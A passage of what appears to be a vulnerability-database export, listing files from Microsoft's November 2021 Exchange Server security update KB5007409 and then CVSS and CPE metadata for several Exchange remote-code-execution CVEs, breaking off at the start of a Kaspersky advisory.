15.0.1497.26| 95,728| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.0.1497.26| 82,920| 28-Oct-21| 19:32| x64| SP. \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.0.1497.26| 67,064| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.ha.dll| 15.0.1497.26| 82,424| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.0.1497.26| 190,944| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.0.1497.26| 822,760| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.0.1497.26| 426,976| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.0.1497.26| 48,120| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.0.1497.26| 561,128| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.0.1497.26| 784,864| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.propertytag.dll| 15.0.1497.26| 30,688| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.0.1497.26| 118,776| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.0.1497.26| 738,280| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.0.1497.26| 93,152| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.workermanager.dll| 15.0.1497.26| 34,808| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.servicehost.exe| 15.0.1497.26| 54,752| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.0.1497.26| 49,120| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.services.dll| 15.0.1497.26| 7,786,424| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.services.onlinemeetings.dll| 15.0.1497.26| 214,472| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.0.1497.26| 58,856| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.0.1497.26| 84,968| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.common.dll| 15.0.1497.26| 308,192| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.commonbase.dll| 15.0.1497.26| 35,816| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.console.dll| 15.0.1497.26| 27,624| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.gui.dll| 15.0.1497.26| 120,808| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.setup.parser.dll| 15.0.1497.26| 54,240| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.sharedcache.client.dll| 15.0.1497.26| 23,008| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.sharedcache.exe| 15.0.1497.26| 56,808| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.sharepointsignalstore.dll| 15.0.1497.26| 29,664| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.sqm.dll| 15.0.1497.26| 48,096| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.store.service.exe| 15.0.1497.26| 25,056| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.store.worker.exe| 15.0.1497.26| 26,600| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.storedriver.dll| 15.0.1497.26| 77,296| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.storeprovider.dll| 15.0.1497.26| 998,360| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.0.1497.26| 15,840| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.textprocessing.dll| 15.0.1497.26| 151,520| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.0.1497.26| 24,552| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.0.1497.26| 96,232| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.0.1497.26| 22,512| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.0.1497.26| 20,464| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.0.1497.26| 217,056| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.0.1497.26| 103,912| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.0.1497.26| 17,904| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.malware.dll| 15.0.1497.26| 133,080| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.0.1497.26| 21,480| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.0.1497.26| 29,680| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.0.1497.26| 48,112| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.search.dll| 15.0.1497.26| 30,184| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.0.1497.26| 54,248| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.0.1497.26| 28,640| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.0.1497.26| 17,896| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.0.1497.26| 45,032| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.common.dll| 15.0.1497.26| 39,384| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.dll| 15.0.1497.26| 3,542,504| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.logging.search.dll| 15.0.1497.26| 73,704| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.loggingcommon.dll| 15.0.1497.26| 59,864| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.0.1497.26| 21,464| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.scheduler.dll| 15.0.1497.26| 61,912| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.storage.contracts.dll| 15.0.1497.26| 27,624| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.storage.dll| 15.0.1497.26| 35,296| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.sync.agents.dll| 15.0.1497.26| 17,880| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.sync.common.dll| 15.0.1497.26| 515,560| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.sync.manager.dll| 15.0.1497.26| 316,888| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.0.1497.26| 47,080| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transport.sync.worker.dll| 15.0.1497.26| 1,079,784| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.0.1497.26| 18,408| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.um.callrouter.exe| 15.0.1497.26| 22,512| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.um.clientstrings.dll| 15.0.1497.26| 63,464| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.0.1497.26| 118,768| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.um.ucmaplatform.dll| 15.0.1497.26| 244,720| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.um.umcommon.dll| 15.0.1497.26| 967,160| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.um.umcore.dll| 15.0.1497.26| 1,515,512| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.unifiedcontent.dll| 15.0.1497.26| 40,440| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.0.1497.26| 23,008| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.0.1497.26| 38,880| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.variantconfiguration.dll| 15.0.1497.26| 769,488| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.workloadmanagement.dll| 15.0.1497.26| 193,504| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.filtering.exchange.dll| 15.0.1497.26| 47,544| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.filtering.interop.dll| 15.0.1497.26| 15,288| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.forefront.activedirectoryconnector.dll| 15.0.1497.26| 47,032| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 23,746| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,345| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.0.1497.26| 1,170,976| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.0.1497.26| 31,264| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.forefront.reporting.common.dll| 15.0.1497.26| 42,456| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.0.1497.26| 37,864| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.isam.esent.interop.dll| 15.0.1497.26| 473,528| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.0.1497.26| 80,864| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.office.compliancepolicy.platform.dll| 15.0.1497.26| 1,245,648| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.0.1497.26| 51,672| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.0.1497.26| 28,176| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.0.1497.26| 544,736| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.0.1497.26| 166,416| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.office.datacenter.workertaskframeworkinternalprovider.dll| 15.0.1497.26| 252,368| 28-Oct-21| 19:32| x86| SP. \nMigrateumcustomprompts.ps1| Not applicable| 19,186| 28-Oct-21| 19:31| Not applicable| SP. \nMovemailbox.ps1| Not applicable| 61,228| 28-Oct-21| 19:31| Not applicable| SP. \nMovetransportdatabase.ps1| Not applicable| 30,650| 28-Oct-21| 19:31| Not applicable| SP. \nMove_publicfolderbranch.ps1| Not applicable| 35,162| 28-Oct-21| 19:31| Not applicable| SP. \nMsexchangedagmgmt.exe| 15.0.1497.26| 23,016| 28-Oct-21| 19:33| x86| SP. \nMsexchangedelivery.exe| 15.0.1497.26| 31,728| 28-Oct-21| 19:32| x86| SP. \nMsexchangefrontendtransport.exe| 15.0.1497.26| 25,576| 28-Oct-21| 19:31| x86| SP. \nMsexchangehmhost.exe| 15.0.1497.26| 25,616| 28-Oct-21| 19:31| x86| SP. \nMsexchangehmworker.exe| 15.0.1497.26| 34,848| 28-Oct-21| 19:31| x86| SP. \nMsexchangemailboxassistants.exe| 15.0.1497.26| 2,391,536| 28-Oct-21| 19:32| x86| SP. \nMsexchangemailboxreplication.exe| 15.0.1497.26| 20,496| 28-Oct-21| 19:31| x86| SP. \nMsexchangemigrationworkflow.exe| 15.0.1497.26| 46,096| 28-Oct-21| 19:31| x86| SP. \nMsexchangerepl.exe| 15.0.1497.26| 66,016| 28-Oct-21| 19:33| x86| SP. \nMsexchangesubmission.exe| 15.0.1497.26| 61,936| 28-Oct-21| 19:32| x86| SP. \nMsexchangethrottling.exe| 15.0.1497.26| 40,432| 28-Oct-21| 19:31| x86| SP. \nMsexchangetransport.exe| 15.0.1497.26| 77,272| 28-Oct-21| 19:31| x86| SP. \nMsexchangetransportlogsearch.exe| 15.0.1497.26| 143,320| 28-Oct-21| 19:31| x86| SP. \nMsexchangewatchdog.exe| 15.0.1497.26| 55,216| 28-Oct-21| 19:31| x64| SP. \nMspatchlinterop.dll| 15.0.1497.26| 53,672| 28-Oct-21| 19:31| x64| SP. \nNavigatorparser.dll| 15.0.1497.26| 649,128| 28-Oct-21| 19:31| x64| SP. \nNewtestcasconnectivityuser.ps1| Not applicable| 22,312| 28-Oct-21| 19:31| Not applicable| SP. \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,627| 28-Oct-21| 19:31| Not applicable| SP. \nOleconverter.exe| 15.0.1497.26| 165,808| 28-Oct-21| 19:31| x64| SP. \nOwaauth.dll| 15.0.1497.26| 91,552| 28-Oct-21| 19:31| x64| SP. \nPerf_common_extrace.dll| 15.0.1497.26| 210,352| 28-Oct-21| 19:31| x64| SP. \nPerf_exchmem.dll| 15.0.1497.26| 80,296| 28-Oct-21| 19:31| x64| SP. \nPipeline2.dll| 15.0.1497.26| 1,467,816| 28-Oct-21| 19:31| x64| SP. \nPostexchange2000_schema99.ldf| Not applicable| 6,495| 27-Oct-21| 20:31| Not applicable| SP. \nPostexchange2003_schema99.ldf| Not applicable| 41,776| 27-Oct-21| 20:31| Not applicable| SP. \nPostwindows2003_schema99.ldf| Not applicable| 5,544| 27-Oct-21| 20:31| Not applicable| SP. \nPowershell.rbachostingtools.dll_1bf4f3e363ef418781685d1a60da11c1| 15.0.1497.26| 41,376| 28-Oct-21| 19:31| Not applicable| SP. \nPreparemoverequesthosting.ps1| Not applicable| 71,043| 28-Oct-21| 19:31| Not applicable| SP. \nPrepare_moverequest.ps1| Not applicable| 73,277| 28-Oct-21| 19:31| Not applicable| SP. \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 46,570| 28-Oct-21| 19:31| Not applicable| SP. \nReinstalldefaulttransportagents.ps1| Not applicable| 20,804| 28-Oct-21| 19:31| Not applicable| SP. \nRemoteexchange.ps1| Not applicable| 21,829| 28-Oct-21| 19:31| Not applicable| SP. \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,779| 28-Oct-21| 19:31| Not applicable| SP. \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 15,115| 28-Oct-21| 19:31| Not applicable| SP. \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 15,105| 28-Oct-21| 19:31| Not applicable| SP. \nResetattachmentfilterentry.ps1| Not applicable| 15,524| 28-Oct-21| 19:31| Not applicable| SP. \nResetcasservice.ps1| Not applicable| 21,755| 28-Oct-21| 19:31| Not applicable| SP. \nRightsmanagementwrapper.dll| 15.0.1497.26| 79,256| 28-Oct-21| 19:28| x64| SP. \nRollalternateserviceaccountpassword.ps1| Not applicable| 55,850| 28-Oct-21| 19:31| Not applicable| SP. \nRpcproxyshim.dll| 15.0.1497.26| 40,344| 28-Oct-21| 19:28| x64| SP. \nRwsperfcounters.xml| Not applicable| 23,000| 28-Oct-21| 19:32| Not applicable| SP. \nScanenginetest.exe| 15.0.1497.26| 957,872| 28-Oct-21| 19:31| x64| SP. \nScanningprocess.exe| 15.0.1497.26| 725,928| 28-Oct-21| 19:31| x64| SP. \nSchema99.ldf| Not applicable| 26,237| 27-Oct-21| 20:31| Not applicable| SP. \nSchemaadam.ldf| Not applicable| 348,383| 27-Oct-21| 20:31| Not applicable| SP. \nSchemaversion.ldf| Not applicable| 1,905| 27-Oct-21| 20:31| Not applicable| SP. \nSearchdiagnosticinfo.ps1| Not applicable| 16,876| 28-Oct-21| 19:31| Not applicable| SP. \nSetup.exe| 15.0.1497.26| 20,968| 28-Oct-21| 19:31| x86| SP. \nSetupui.exe| 15.0.1497.26| 49,128| 28-Oct-21| 19:31| x86| SP. \nSplit_publicfoldermailbox.ps1| Not applicable| 104,476| 28-Oct-21| 19:31| Not applicable| SP. \nStoretsconstants.ps1| Not applicable| 15,862| 28-Oct-21| 19:28| Not applicable| SP. \nStoretslibrary.ps1| Not applicable| 28,055| 28-Oct-21| 19:28| Not applicable| SP. \nTranscodingservice.exe| 15.0.1497.26| 124,312| 28-Oct-21| 19:29| x64| SP. \nTroubleshoot_ci.ps1| Not applicable| 22,759| 28-Oct-21| 19:28| Not applicable| SP. \nTroubleshoot_databaselatency.ps1| Not applicable| 33,461| 28-Oct-21| 19:28| Not applicable| SP. \nTroubleshoot_databasespace.ps1| Not applicable| 30,081| 28-Oct-21| 19:28| Not applicable| SP. \nUglobal.js| Not applicable| 866,860| 28-Oct-21| 18:43| Not applicable| SP. \nUmservice.exe| 15.0.1497.26| 102,896| 28-Oct-21| 20:01| x86| SP. \nUmworkerprocess.exe| 15.0.1497.26| 38,392| 28-Oct-21| 20:01| x86| SP. \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,078| 28-Oct-21| 19:31| Not applicable| SP. \nUpdateserver.exe| 15.0.1497.26| 3,035,568| 28-Oct-21| 19:31| x64| SP. \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,571| 28-Oct-21| 19:31| Not applicable| SP. \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 30,135| 28-Oct-21| 18:48| Not applicable| SP. \nWsbexchange.exe| 15.0.1497.26| 124,824| 28-Oct-21| 19:29| x64| SP. \n_search.mailboxoperators.a| 15.0.1497.26| 130,504| 28-Oct-21| 19:33| Not applicable| SP. \n_search.mailboxoperators.b| 15.0.1497.26| 130,504| 28-Oct-21| 19:33| Not applicable| SP. \n_search.tokenoperators.a| 15.0.1497.26| 80,328| 28-Oct-21| 19:33| Not applicable| SP. \n_search.tokenoperators.b| 15.0.1497.26| 80,328| 28-Oct-21| 19:33| Not applicable| SP. \n_search.transportoperators.a| 15.0.1497.26| 43,976| 28-Oct-21| 19:33| Not applicable| SP. \n_search.transportoperators.b| 15.0.1497.26| 43,976| 28-Oct-21| 19:33| Not applicable| SP. \n \n## Information about protection and security\n\nProtect yourself online: [Windows Security support](<https://support.microsoft.com/hub/4099151>)Learn how we guard against cyber threats: [Microsoft Security](<https://www.microsoft.com/security>)\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-09T08:00:00", "type": "mskb", "title": "Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 9, 2021 (KB5007409)", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41349", "CVE-2021-42305", "CVE-2021-42321"], "modified": "2021-11-09T08:00:00", "id": "KB5007409", "href": "https://support.microsoft.com/en-us/help/5007409", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-06-10T14:23:30", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21855.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T21:15:00", "type": "cve", "title": "CVE-2022-21969", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 5.1, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.7, "vectorString": "AV:A/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-21T14:09:00", "cpe": ["cpe:/a:microsoft:exchange_server:2013", "cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2022-21969", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-21969", "cvss": {"score": 7.7, "vector": "AV:A/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_10:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_22:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_21:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_11:*:*:*:*:*:*"]}, {"lastseen": "2023-06-10T14:23:01", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21969.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T21:15:00", "type": "cve", "title": "CVE-2022-21855", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 5.1, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.7, "vectorString": "AV:A/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-14T16:14:00", "cpe": ["cpe:/a:microsoft:exchange_server:2013", "cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2022-21855", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-21855", "cvss": {"score": 7.7, "vector": "AV:A/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_10:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_22:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_21:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_11:*:*:*:*:*:*"]}, {"lastseen": "2023-06-10T14:23:00", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21855, CVE-2022-21969.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T21:15:00", "type": "cve", "title": "CVE-2022-21846", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-14T17:33:00", "cpe": ["cpe:/a:microsoft:exchange_server:2013", "cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2022-21846", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-21846", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_10:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_22:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_21:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_11:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:46:18", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T01:19:00", "type": "cve", "title": "CVE-2021-42321", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-08-29T18:59:00", "cpe": ["cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2021-42321", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_10:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_22:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_11:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_21:*:*:*:*:*:*"]}], "kaspersky": [{"lastseen": "2023-06-10T15:18:03", "description": "### *Detect date*:\n01/11/2022\n\n### *Severity*:\nWarning\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Exchange Server. Malicious users can exploit this vulnerability to execute arbitrary code.\n\n### *Affected products*:\nMicrosoft Exchange Server 2013 Cumulative Update 23 \nMicrosoft Exchange Server 2016 